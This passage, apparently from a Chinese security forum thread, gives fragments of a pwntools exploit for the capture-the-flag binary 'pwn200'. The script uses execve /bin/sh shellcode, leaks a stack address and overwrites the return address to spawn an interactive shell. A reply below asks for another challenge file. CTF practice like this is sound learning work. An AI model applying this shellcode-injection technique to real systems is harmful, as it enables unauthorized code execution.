    data = 'a' * 0x18 + p64(shellcode_addr) # 将eip修改为shellcode的地址
    data = data.ljust(48, '\x00')
    p.send(data)
    p.recvuntil('choice : ')
    p.sendline('3') # 退出返回时回去执行shellcode
 
    p.interactive()
 
if __name__ == '__main__':
    pwn()
#encoding:utf-8
from pwn import *
 
#r = remote('127.0.0.1', 6666)
p = process("./pwn200")
 
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
 
def pwn():
    # gdb.attach(p, "b *0x400991")
 
    data = shellcode.ljust(46, 'a')
    data += 'bb'
    p.send(data)
    p.recvuntil('bb')
    rbp_addr = p.recvuntil(', w')[:-3]
    rbp_addr = u64(rbp_addr.ljust(8,'\x00'))
    print hex(rbp_addr)
 

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 1
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
兄弟有祥云杯2021升级密码箱这道题吗?有的话麻烦发到我qq邮箱谢谢:wait_3344@qq.com
2022-6-16 16:19
0
游客
登录 | 注册 方可回帖
返回